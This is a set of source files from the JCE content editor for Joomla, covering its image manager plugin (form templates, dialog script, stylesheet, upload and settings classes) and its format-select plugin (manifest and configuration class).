editor/tiny_mce/plugins/imgmanager/tmpl/image.php000060400000025207150750527140016210 0ustar00<?php
/**
 * @copyright    Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license    GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

?>

<div class="uk-grid uk-grid-small">
    <div class="uk-width-4-5">

        <div class="uk-grid uk-grid-small">
            <label for="src" class="hastip uk-form-label uk-width-1-5" title="<?php echo WFText::_('WF_LABEL_URL_DESC'); ?>">
                <?php echo WFText::_('WF_LABEL_URL'); ?>
            </label>
            <div class="uk-form-controls uk-width-4-5">
                <input type="text" id="src" value="" class="filebrowser" required />
            </div>
        </div>

        <div class="uk-grid uk-grid-small">
            <label for="alt" class="hastip uk-form-label uk-width-1-5" title="<?php echo WFText::_('WF_LABEL_ALT_DESC'); ?>">
                <?php echo WFText::_('WF_LABEL_ALT'); ?>
            </label>
            <div class="uk-form-controls uk-width-4-5">
                <input type="text" id="alt" value="" />
            </div>
        </div>

        <div class="uk-grid uk-grid-small" id="attributes-dimensions">
            <label class="hastip uk-form-label uk-width-1-5" title="<?php echo WFText::_('WF_LABEL_DIMENSIONS_DESC'); ?>">
                <?php echo WFText::_('WF_LABEL_DIMENSIONS'); ?>
            </label>
            <div class="uk-form-controls uk-width-4-5 uk-form-constrain">

                <div class="uk-form-controls">
                    <input type="text" id="width" value="" class="uk-text-muted" />
                </div>

                <div class="uk-form-controls">
                    <strong class="uk-margin-left uk-margin-right uk-vertical-align-middle">&times;</strong>
                </div>

                <div class="uk-form-controls">
                    <input type="text" id="height" value="" class="uk-text-muted" />
                </div>

                <label class="uk-form-label">
                    <input class="uk-constrain-checkbox" type="checkbox" checked />
                    <?php echo WFText::_('WF_LABEL_PROPORTIONAL'); ?>
                </label>
            </div>
        </div>

        <div class="uk-grid uk-grid-small" id="attributes-align">
            <label for="align" class="hastip uk-form-label uk-width-1-5"
                   title="<?php echo JText::_('WF_LABEL_ALIGN_DESC'); ?>">
                <?php echo JText::_('WF_LABEL_ALIGN'); ?>
            </label>

            <div class="uk-width-2-5">
                <div class="uk-form-controls uk-width-9-10">
                    <select id="align">
                        <option value=""><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
                        <optgroup label="------------">
                            <option value="left"><?php echo WFText::_('WF_OPTION_ALIGN_LEFT'); ?></option>
                            <option value="center"><?php echo WFText::_('WF_OPTION_ALIGN_CENTER'); ?></option>
                            <option value="right"><?php echo WFText::_('WF_OPTION_ALIGN_RIGHT'); ?></option>
                        </optgroup>
                        <optgroup label="------------">
                            <option value="top"><?php echo WFText::_('WF_OPTION_ALIGN_TOP'); ?></option>
                            <option value="middle"><?php echo WFText::_('WF_OPTION_ALIGN_MIDDLE'); ?></option>
                            <option value="bottom"><?php echo WFText::_('WF_OPTION_ALIGN_BOTTOM'); ?></option>
                        </optgroup>
                    </select>
                </div>
            </div>
            <div class="uk-width-2-5">
                <label for="clear" class="hastip uk-form-label uk-width-3-10"
                       title="<?php echo JText::_('WF_LABEL_CLEAR_DESC'); ?>">
                    <?php echo JText::_('WF_LABEL_CLEAR'); ?>
                </label>
                <div class="uk-form-controls uk-width-7-10">
                    <select id="clear" disabled>
                        <option value=""><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
                        <option value="none"><?php echo WFText::_('WF_OPTION_CLEAR_NONE'); ?></option>
                        <option value="both"><?php echo WFText::_('WF_OPTION_CLEAR_BOTH'); ?></option>
                        <option value="left"><?php echo WFText::_('WF_OPTION_CLEAR_LEFT'); ?></option>
                        <option value="right"><?php echo WFText::_('WF_OPTION_CLEAR_RIGHT'); ?></option>
                    </select>
                </div>
            </div>
        </div>

        <div class="uk-hidden-mini uk-grid uk-grid-small" id="attributes-margin">
            <label for="margin" class="hastip uk-form-label uk-width-1-5" title="<?php echo WFText::_('WF_LABEL_MARGIN_DESC'); ?>">
                <?php echo WFText::_('WF_LABEL_MARGIN'); ?>
            </label>
            <div class="uk-form-controls uk-width-4-5 uk-grid uk-grid-small uk-form-equalize">

              <label for="margin_top" class="uk-form-label">
                  <?php echo WFText::_('WF_OPTION_TOP'); ?>
              </label>
              <div class="uk-form-controls">
                  <input type="text" id="margin_top" value="" />
              </div>

                    <label for="margin_right" class="uk-form-label">
                        <?php echo WFText::_('WF_OPTION_RIGHT'); ?>
                    </label>
                    <div class="uk-form-controls">
                        <input type="text" id="margin_right" value="" />
                    </div>

                    <label for="margin_bottom" class="uk-form-label">
                        <?php echo WFText::_('WF_OPTION_BOTTOM'); ?>
                    </label>
                    <div class="uk-form-controls">
                        <input type="text" id="margin_bottom" value="" />
                    </div>

                    <label for="margin_left" class="uk-form-label">
                        <?php echo WFText::_('WF_OPTION_LEFT'); ?>
                    </label>
                    <div class="uk-form-controls">
                        <input type="text" id="margin_left" value="" />
                    </div>
                    <label class="uk-form-label">
                        <input type="checkbox" class="uk-equalize-checkbox" />
                        <?php echo WFText::_('WF_LABEL_EQUAL'); ?>
                    </label>
            </div>
        </div>

        <div class="uk-hidden-mini uk-grid uk-grid-small" id="attributes-border">
            <label for="border" class="hastip uk-form-label uk-width-1-5" title="<?php echo WFText::_('WF_LABEL_BORDER_DESC'); ?>">
                <?php echo WFText::_('WF_LABEL_BORDER'); ?>
            </label>

            <div class="uk-form-controls uk-width-4-5">
                <div class="uk-form-controls uk-width-0-3 uk-margin-small-top">
                    <input type="checkbox" id="border" />
                </div>

                <label for="border_width" class="hastip uk-form-label uk-width-1-10 uk-margin-small-left"
                       title="<?php echo WFText::_('WF_LABEL_BORDER_WIDTH_DESC'); ?>"><?php echo WFText::_('WF_LABEL_WIDTH'); ?></label>
                <div class="uk-form-controls uk-width-2-10 uk-datalist">
                    <select pattern="[0-9]+" id="border_width">
                        <option value="inherit"><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
                        <option value="0">0</option>
                        <option value="1">1</option>
                        <option value="2">2</option>
                        <option value="3">3</option>
                        <option value="4">4</option>
                        <option value="5">5</option>
                        <option value="6">6</option>
                        <option value="7">7</option>
                        <option value="8">8</option>
                        <option value="9">9</option>
                        <option value="thin"><?php echo WFText::_('WF_OPTION_BORDER_THIN'); ?></option>
                        <option value="medium"><?php echo WFText::_('WF_OPTION_BORDER_MEDIUM'); ?></option>
                        <option value="thick"><?php echo WFText::_('WF_OPTION_BORDER_THICK'); ?></option>
                    </select>
                </div>

                <label for="border_style" class="hastip uk-form-label uk-width-1-10 uk-margin-small-left"
                       title="<?php echo WFText::_('WF_LABEL_BORDER_STYLE_DESC'); ?>"><?php echo WFText::_('WF_LABEL_STYLE'); ?></label>
                <div class="uk-form-controls uk-width-2-10">
                    <select id="border_style">
                        <option value="inherit"><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
                        <option value="none"><?php echo WFText::_('WF_OPTION_BORDER_NONE'); ?></option>
                        <option value="solid"><?php echo WFText::_('WF_OPTION_BORDER_SOLID'); ?></option>
                        <option value="dashed"><?php echo WFText::_('WF_OPTION_BORDER_DASHED'); ?></option>
                        <option value="dotted"><?php echo WFText::_('WF_OPTION_BORDER_DOTTED'); ?></option>
                        <option value="double"><?php echo WFText::_('WF_OPTION_BORDER_DOUBLE'); ?></option>
                        <option value="groove"><?php echo WFText::_('WF_OPTION_BORDER_GROOVE'); ?></option>
                        <option value="inset"><?php echo WFText::_('WF_OPTION_BORDER_INSET'); ?></option>
                        <option value="outset"><?php echo WFText::_('WF_OPTION_BORDER_OUTSET'); ?></option>
                        <option value="ridge"><?php echo WFText::_('WF_OPTION_BORDER_RIDGE'); ?></option>
                    </select>
                </div>

                <label for="border_color" class="hastip uk-form-label uk-width-1-10 uk-margin-small-left"
                       title="<?php echo WFText::_('WF_LABEL_BORDER_COLOR_DESC'); ?>"><?php echo WFText::_('WF_LABEL_COLOR'); ?></label>
                <div class="uk-form-controls uk-width-2-10">
                    <input id="border_color" class="color" type="text" value="#000000" />
                </div>
            </div>
        </div>
    </div>
    <div class="uk-width-1-5">
        <div class="preview">
            <img id="sample" src="<?php echo $this->plugin->image('sample.jpg', 'libraries'); ?>" alt="sample.jpg"/>
            <?php echo WFText::_('WF_LOREM_IPSUM'); ?>
        </div>
    </div>
</div>
editor/tiny_mce/plugins/imgmanager/tmpl/rollover.php000060400000002171150750527140016765 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>
<div class="uk-form-row">
	<label for="onmouseover" class="hastip uk-form-label uk-width-3-10" title="<?php echo WFText::_('WF_LABEL_MOUSEOVER_DESC'); ?>">
		<?php echo WFText::_('WF_LABEL_MOUSEOVER'); ?>
	</label>
	<div class="uk-form-controls uk-width-7-10">
		<input id="onmouseover" type="text" value="" class="focus" />
	</div>
</div>
<div class="uk-form-row">
	<label for="onmouseout" class="hastip uk-form-label uk-width-3-10" title="<?php echo WFText::_('WF_LABEL_MOUSEOUT_DESC'); ?>">
		<?php echo WFText::_('WF_LABEL_MOUSEOUT'); ?>
	</label>
	<div class="uk-form-controls uk-width-7-10">
		<input id="onmouseout" type="text" value="" />
	</div>
</div>editor/tiny_mce/plugins/imgmanager/tmpl/advanced.php000060400000006553150750527140016676 0ustar00<?php

/**
 * @copyright    Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license    GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>
<div class="uk-form-row">
    <label for="style" class="hastip uk-form-label uk-width-3-10"
           title="<?php echo WFText::_('WF_LABEL_STYLE_DESC'); ?>"><?php echo WFText::_('WF_LABEL_STYLE'); ?></label>
    <div class="uk-form-controls uk-width-7-10"><input id="style" type="text" value=""/></div>
</div>
<div class="uk-form-row">
    <label for="classlist" class="hastip uk-form-label uk-width-3-10"
           title="<?php echo WFText::_('WF_LABEL_CLASSES_DESC'); ?>"><?php echo WFText::_('WF_LABEL_CLASSES'); ?></label>
    <div class="uk-form-controls uk-width-7-10 uk-datalist">
        <input id="classes" type="text" value=""/>
        <select id="classlist">
          <option value=""><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
        </select>
    </div>
</div>
<div class="uk-form-row">
    <label for="title" class="hastip uk-form-label uk-width-3-10"
           title="<?php echo WFText::_('WF_LABEL_TITLE_DESC'); ?>"><?php echo WFText::_('WF_LABEL_TITLE'); ?></label>
    <div class="uk-form-controls uk-width-7-10"><input id="title" type="text" value=""/></div>
</div>
<div class="uk-form-row">
    <label for="id" class="hastip uk-form-label uk-width-3-10"
           title="<?php echo WFText::_('WF_LABEL_ID_DESC'); ?>"><?php echo WFText::_('WF_LABEL_ID'); ?></label>
    <div class="uk-form-controls uk-width-7-10"><input id="id" type="text" value=""/></div>
</div>

<div class="uk-form-row">
    <label for="dir" class="hastip uk-form-label uk-width-3-10"
           title="<?php echo WFText::_('WF_LABEL_DIR_DESC'); ?>"><?php echo WFText::_('WF_LABEL_DIR'); ?></label>
    <div class="uk-form-controls uk-width-7-10">
        <select id="dir">
            <option value=""><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
            <option value="ltr"><?php echo WFText::_('WF_OPTION_LTR'); ?></option>
            <option value="rtl"><?php echo WFText::_('WF_OPTION_RTL'); ?></option>
        </select>
    </div>
</div>

<div class="uk-form-row">
    <label for="lang" class="hastip uk-form-label uk-width-3-10"
           title="<?php echo WFText::_('WF_LABEL_LANG_DESC'); ?>"><?php echo WFText::_('WF_LABEL_LANG'); ?></label>
    <div class="uk-form-controls uk-width-7-10"><input id="lang" type="text" value=""/></div>
</div>

<div class="uk-form-row">
    <label for="usemap" class="hastip uk-form-label uk-width-3-10"
           title="<?php echo WFText::_('WF_LABEL_USEMAP_DESC'); ?>"><?php echo WFText::_('WF_LABEL_USEMAP'); ?></label>
    <div class="uk-form-controls uk-width-7-10"><input id="usemap" type="text" value=""/></div>
</div>

<div class="uk-form-row html4">
    <label for="longdesc" class="hastip uk-form-label uk-width-3-10"
           title="<?php echo WFText::_('WF_LABEL_LONGDESC_DESC'); ?>"><?php echo WFText::_('WF_LABEL_LONGDESC'); ?></label>
    <div class="uk-form-controls uk-width-7-10"><input id="longdesc" type="text" value="" class="browser html" /></div>
</div>
editor/tiny_mce/plugins/imgmanager/tmpl/index.html000060400000000054150750527140016403 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/imgmanager/js/index.html000060400000000054150750527140016043 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/imgmanager/js/imgmanager.js000060400000013664150750527140016526 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function($){var ImageManagerDialog={settings:{},init:function(){tinyMCEPopup.restoreSelection();var br,ed=tinyMCEPopup.editor,n=ed.selection.getNode(),self=this;$("#insert").click(function(e){self.insert(),e.preventDefault()});var src=decodeURIComponent(ed.dom.getAttrib(n,"src"));if(src=ed.convertURL(src),$.each(this.settings.attributes,function(k,v){parseFloat(v)||$("#attributes-"+k).hide()}),$("#onmouseover, #onmouseout").focus(function(){$("#onmouseover, #onmouseout").removeClass("focus"),$(this).addClass("focus")}),Wf.init(),n&&"IMG"==n.nodeName){$(".uk-button-text","#insert").text(tinyMCEPopup.getLang("update","Update",!0)),$("#src").val(src),$("#sample").attr({src:n.src}).attr(Wf.sizeToFit(n,{width:80,height:60}));var w=Wf.getAttrib(n,"width"),h=Wf.getAttrib(n,"height");$("#width").val(function(){return w?($(this).addClass("uk-isdirty"),w):h?void 0:n.width}),$("#height").val(function(){return h?($(this).addClass("uk-isdirty"),h):w?void 0:n.height}),$("#alt").val(ed.dom.getAttrib(n,"alt")),$("#title").val(ed.dom.getAttrib(n,"title")),$.each(["top","right","bottom","left"],function(){$("#margin_"+this).val(Wf.getAttrib(n,"margin-"+this))}),$("#border_width").val(function(){var v=Wf.getAttrib(n,"border-width");return 0==$('option[value="'+v+'"]',this).length&&$(this).append(new Option(v,v)),v}),$("#border_style").val(Wf.getAttrib(n,"border-style")),$("#border_color").val(Wf.getAttrib(n,"border-color")).change(),$("#border").is(":checked")||$.each(["border_width","border_style","border_color"],function(i,k){$("#"+k).val(self.settings.defaults[k]).change()}),$("#align").val(Wf.getAttrib(n,"align")),$("#classes").val(ed.dom.getAttrib(n,"class")),$("#style").val(ed.dom.getAttrib(n,"style")),$("#id").val(ed.dom.getAttrib(n,"id")),$("#dir").val(ed.dom.getAttrib(n,"dir")),$("#lang").val(ed.dom.getAttrib(n,"lang")),$("#usemap").val(ed.dom.getAttrib(n,"usemap")),$("#insert").button("option","label",ed.getLang("update","Update")),$("#longdesc").val(ed.convertURL(ed.dom.getAttrib(n,"longdesc"))),$("#onmouseout").val(src),$.each(["onmouseover","onmouseout"],function(){v=ed.dom.getAttrib(n,this),v=$.trim(v),v=v.replace(/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/,"$1"),v=ed.convertURL(v),$("#"+this).val(v)}),br=n.nextSibling,br&&"BR"==br.nodeName&&br.style.clear&&$("#clear").val(br.style.clear)}else Wf.setDefaults(this.settings.defaults);"external"===ed.settings.filebrowser_position?Wf.createBrowsers($("#src"),function(files){var file=files.shift();self.selectFile(file)},"images"):$("#src").filebrowser().on("filebrowser:onfileclick",function(e,file,data){self.selectFile(file,data)}).on("filebrowser:onfileinsert",function(e,file,data){self.selectFile(file,data)}),Wf.updateStyles(),$(".uk-constrain-checkbox").on("constrain:change",function(e,elms){$(elms).addClass("uk-isdirty")}).trigger("constrain:update"),$(".uk-equalize-checkbox").trigger("equalize:update")},insert:function(){var ed=tinyMCEPopup.editor,self=this,n=ed.selection.getNode();return""===$("#src").val()?(Wf.Modal.alert(tinyMCEPopup.getLang("imgmanager_dlg.no_src","Please enter a url for the image")),!1):(n&&"IMG"===n.nodeName&&""===ed.dom.getAttrib(n,"alt")&&this.insertAndClose(),void(""===$("#alt").val()?Wf.Modal.confirm(tinyMCEPopup.getLang("imgmanager_dlg.missing_alt"),function(state){state&&self.insertAndClose()},{width:300,height:200}):this.insertAndClose()))},insertAndClose:function(){var v,el,ed=tinyMCEPopup.editor,self=this,args={},br="";Wf.updateStyles(),tinyMCEPopup.restoreSelection(),tinymce.isWebKit&&ed.getWin().focus(),args={vspace:"",hspace:"",border:"",align:""},$.each(["src","width","height","alt","title","classes","style","id","dir","lang","usemap","longdesc"],function(i,k){v=$("#"+k+":enabled").val(),"src"==k&&(v=Wf.String.buildURI(v)),"width"!=k&&"height"!=k||(v=self.settings.always_include_dimensions?$("#"+k).val():$("#"+k+".uk-isdirty").val()||""),"classes"==k&&(k="class"),args[k]=v}),args.onmouseover=args.onmouseout="";var over=$("#onmouseover").val(),out=$("#onmouseout").val();over&&out&&(args.onmouseover="this.src='"+ed.convertURL(over)+"';",args.onmouseout="this.src='"+ed.convertURL(out)+"';"),el=ed.selection.getNode(),br=el.nextSibling,el&&"IMG"==el.nodeName?(ed.dom.setAttribs(el,args),br&&"BR"==br.nodeName?(($("#clear").is(":disabled")||""===$("#clear").val())&&ed.dom.remove(br),$("#clear").is(":disabled")||""===$("#clear").val()||ed.dom.setStyle(br,"clear",$("#clear").val())):$("#clear").is(":disabled")||""===$("#clear").val()||(br=ed.dom.create("br"),ed.dom.setStyle(br,"clear",$("#clear").val()),ed.dom.insertAfter(br,el))):(ed.execCommand("mceInsertContent",!1,'<img id="__mce_tmp" src="" />',{skip_undo:1}),el=ed.dom.get("__mce_tmp"),$("#clear").is(":disabled")||""===$("#clear").val()||(br=ed.dom.create("br"),ed.dom.setStyle(br,"clear",$("#clear").val()),ed.dom.insertAfter(br,el)),ed.dom.setAttribs("__mce_tmp",args),ed.dom.setAttrib("__mce_tmp","id","")),ed.undoManager.add(),ed.nodeChanged(),tinyMCEPopup.close()},selectFile:function(file,data){var name=data.title,src=data.url;if($("#rollover_tab").hasClass("uk-active"))$("input.focus","#rollover_tab").val(src);else{if(name=Wf.String.stripExt(name),name=name.replace(/[-_]+/g," "),$("#alt").val(name),$("#onmouseout").val(src),$("#src").val(src),data.width&&data.height)$.each(["width","height"],function(i,k){var v=data[k]||"";$("#"+k).val(v).data("tmp",v).removeClass("uk-edited").addClass("uk-text-muted")});else{var img=new Image;img.onload=function(){$.each(["width","height"],function(i,k){$("#"+k).val(img[k]).data("tmp",img[k]).removeClass("uk-edited").addClass("uk-text-muted")})},img.src=src}var dim=Wf.sizeToFit({width:data.width,height:data.height},{width:80,height:60});$("#sample").attr({src:data.preview}).attr(dim)}}};window.ImageManagerDialog=ImageManagerDialog,$(document).ready(function(){ImageManagerDialog.init()})}(jQuery);editor/tiny_mce/plugins/imgmanager/css/index.html000060400000000054150750527140016217 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/imgmanager/css/imgmanager.css000060400000000754150750527140017052 0ustar00.uk-browser-bottom .uk-tabs+.uk-form,.uk-browser-top .uk-form{height:57%}.uk-browser .uk-tabs{min-height:43%;position:relative}.uk-browser-top .uk-form{top:-43%;position:relative}.uk-browser-top .uk-tabs{top:58%;position:relative}.uk-browser-external .uk-tabs{height:100%}.uk-browser-external+.uk-modal-footer .uk-button-refresh{display:none}.uk-browser-external .uk-tabs .uk-tab+.uk-switcher{height:calc(100% - 33px);height:89%}.uk-browser-external .uk-form-row+.uk-form-row{margin-top:15px}editor/tiny_mce/plugins/imgmanager/classes/index.html000060400000000054150750527140017064 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/imgmanager/classes/config.php000060400000002035150750527140017046 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
class WFImgmanagerPluginConfig
{
    public static function getConfig(&$settings)
    {
        require_once dirname(__FILE__).'/imgmanager.php';

                // set plugin
                JRequest::setVar('plugin', 'imgmanager');

        $plugin = new WFImageManagerPlugin();

        if ($plugin->getParam('inline_upload', $plugin->getParam('dragdrop_upload', 1, 0), 0)) {
            $settings['imgmanager_upload'] = array(
                        'max_size' => $plugin->getParam('max_size', 1024),
                        'filetypes' => $plugin->getFileTypes(),
                    );
        }
    }
}
editor/tiny_mce/plugins/imgmanager/classes/imgmanager.php000060400000013052150750527140017711 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

// Load class dependencies
wfimport('editor.libraries.classes.manager');

class WFImageManagerPlugin extends WFMediaManager
{
    public $_filetypes = 'jpg,jpeg,png,gif';

    public function __construct($config = array())
    {
        $config['colorpicker'] = true;

        parent::__construct($config);

        $this->addFileBrowserEvent('onUpload', array($this, 'onUpload'));
    }

    /**
     * Display the plugin.
     */
    public function display()
    {
        parent::display();

        $document = WFDocument::getInstance();

        // create new tabs instance
        $tabs = WFTabs::getInstance(array(
          'base_path' => WF_EDITOR_PLUGINS.'/imgmanager',
        ));

        // Add tabs
        $tabs->addTab('image', 1, array('plugin' => $this));

        $tabs->addTab('rollover', $this->getParam('tabs_rollover', 1));
        $tabs->addTab('advanced', $this->getParam('tabs_advanced', 1));

        $document->addScript(array('imgmanager'), 'plugins');
        $document->addStyleSheet(array('imgmanager'), 'plugins');

        $document->addScriptDeclaration('ImageManagerDialog.settings='.json_encode($this->getSettings()).';');
    }

    public function onUpload($file, $relative = '')
    {
        // inline upload
        if (JRequest::getInt('inline', 0) === 1) {
            $result = array(
                'file' => $relative,
                'name' => basename($relative),
            );

            if ($this->getParam('always_include_dimensions', 1)) {
                $dim = @getimagesize($file);

                if ($dim) {
                    $result['width'] = $dim[0];
                    $result['height'] = $dim[1];
                }
            }

            $defaults = $this->getDefaults();

            unset($defaults['always_include_dimensions']);

            $styles = array();

            foreach ($defaults as $k => $v) {
                switch ($k) {
                    case 'align':
                        // convert to float
                        if ($v == 'left' || $v == 'right') {
                            $k = 'float';
                        } else {
                            $k = 'vertical-align';
                        }

                        // check for value and exclude border state parameter
                        if ($v != '') {
                            $styles[str_replace('_', '-', $k)] = $v;
                        }
                        break;
                    case 'border_width':
                    case 'border_style':
                    case 'border_color':
                        // only if border state set
                        $v = $defaults['border'] ? $v : '';

                        // add px unit to border-width
                        if ($v && $k == 'border_width' && is_numeric($v)) {
                            $v .= 'px';
                        }

                        // check for value and exclude border state parameter
                        if ($v != '') {
                            $styles[str_replace('_', '-', $k)] = $v;
                        }

                        break;
                    case 'margin_left':
                    case 'margin_right':
                    case 'margin_top':
                    case 'margin_bottom':
                        // add px unit to border-width
                        if ($v && is_numeric($v)) {
                            $v .= 'px';
                        }

                        // check for value and exclude border state parameter
                        if ($v != '') {
                            $styles[str_replace('_', '-', $k)] = $v;
                        }
                        break;
                    case 'classes':
                    case 'title':
                    case 'id':
                    case 'direction':
                    case 'usemap':
                    case 'longdesc':
                    case 'style':
                    case 'alt':
                        if ($k == 'direction') {
                            $k = 'dir';
                        }

                        if ($k == 'classes') {
                            $k = 'class';
                        }

                        if ($v != '') {
                            $result[$k] = $v;
                        }

                        break;
                }
            }

            if (!empty($styles)) {
                $result['styles'] = $styles;
            }

            return $result;
        }

        return array();
    }

    public function getSettings($settings = array())
    {
        $params = $this->getParams(array('key' => 'imgmanager'));

        $settings = array(
            'attributes' => array(
                'dimensions' => $params->get('attributes_dimensions', 1),
                'align' => $params->get('attributes_align', 1),
                'margin' => $params->get('attributes_margin', 1),
                'border' => $params->get('attributes_border', 1),
            ),
            'always_include_dimensions' => $params->get('always_include_dimensions', 0),
        );

        return parent::getSettings($settings);
    }
}
editor/tiny_mce/plugins/imgmanager/index.html000060400000000054150750527140015427 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/formatselect/formatselect.xml000060400000001474150750527140017234 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="formatselect" core="1" editable="1">
    <name>WF_FORMATSELECT_TITLE</name>
    <version>2.6.38</version>
    <creationDate>14-03-2019</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Ryan Demmer</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_FORMATSELECT_DESC</description>
    <icon>formatselect</icon>
    <params group="standard">
        <param name="blockformats" type="blockformats" default="" label="WF_PARAM_BLOCK_FORMAT" description="WF_PARAM_BLOCK_FORMAT_DESC" />
    </params>
    <help></help>
    <languages></languages>
</install>editor/tiny_mce/plugins/formatselect/index.html000060400000000054150750527140016010 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/formatselect/classes/config.php000060400000006302150750527140017430 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
class WFFormatselectPluginConfig
{
    protected static $formats = array(
        'p' => 'advanced.paragraph',
        'address' => 'advanced.address',
        'pre' => 'advanced.pre',
        'h1' => 'advanced.h1',
        'h2' => 'advanced.h2',
        'h3' => 'advanced.h3',
        'h4' => 'advanced.h4',
        'h5' => 'advanced.h5',
        'h6' => 'advanced.h6',
        'div' => 'advanced.div',
        'div_container' => 'advanced.div_container',
        'blockquote' => 'advanced.blockquote',
        'code' => 'advanced.code',
        'samp' => 'advanced.samp',
        'span' => 'advanced.span',
        'section' => 'advanced.section',
        'article' => 'advanced.article',
        'aside' => 'advanced.aside',
        'header' => 'advanced.header',
        'footer' => 'advanced.footer',
        'nav' => 'advanced.nav',
        'figure' => 'advanced.figure',
        //'figcaption' => 'advanced.figcaption',
        'dt' => 'advanced.dt',
        'dd' => 'advanced.dd',
    );

    public static function getConfig(&$settings)
    {
        $wf = WFEditor::getInstance();

        // html5 block elements
        $html5 = array('section', 'article', 'aside', 'figure');
        // get current schema
        $schema = $wf->getParam('editor.schema', 'html4');
        $verify = (bool) $wf->getParam('editor.verify_html', 0);

        $legacy = $wf->getParam('editor.theme_advanced_blockformats');
        $default = 'p,div,address,pre,h1,h2,h3,h4,h5,h6,code,samp,span,section,article,aside,header,footer,nav,figure,dt,dd';

        // get blockformats from parameter
        $blockformats = $wf->getParam('formatselect.blockformats');

        // handle empty list
        if (empty($blockformats)) {
            if (!empty($legacy)) {
                $blockformats = $legacy;
            } else {
                return '';
            }
        }

        $list = array();
        $blocks = array();

        // make an array
        if (is_string($blockformats)) {
            $blockformats = explode(',', $blockformats);
        }

        // create label / value list using default
        foreach ($blockformats as $key) {
            if (array_key_exists($key, self::$formats)) {
                $label = self::$formats[$key];
            }

            // skip html5 blocks for html4 schema
            if ($verify && $schema == 'html4' && in_array($key, $html5)) {
                continue;
            }

            if (isset($label)) {
                $list[$key] = $label;
            }

            $blocks[] = $key;

            // add div container
            if ($key === 'div') {
                $list['div_container'] = 'advanced.div_container';
            }
        }

        // Format list / Remove Format
        $settings['formatselect_blockformats'] = json_encode($list);
    }
}
editor/tiny_mce/plugins/formatselect/classes/index.html000060400000000054150750527140017445 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/formatselect/editor_plugin.js000060400000003454150750527140017224 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
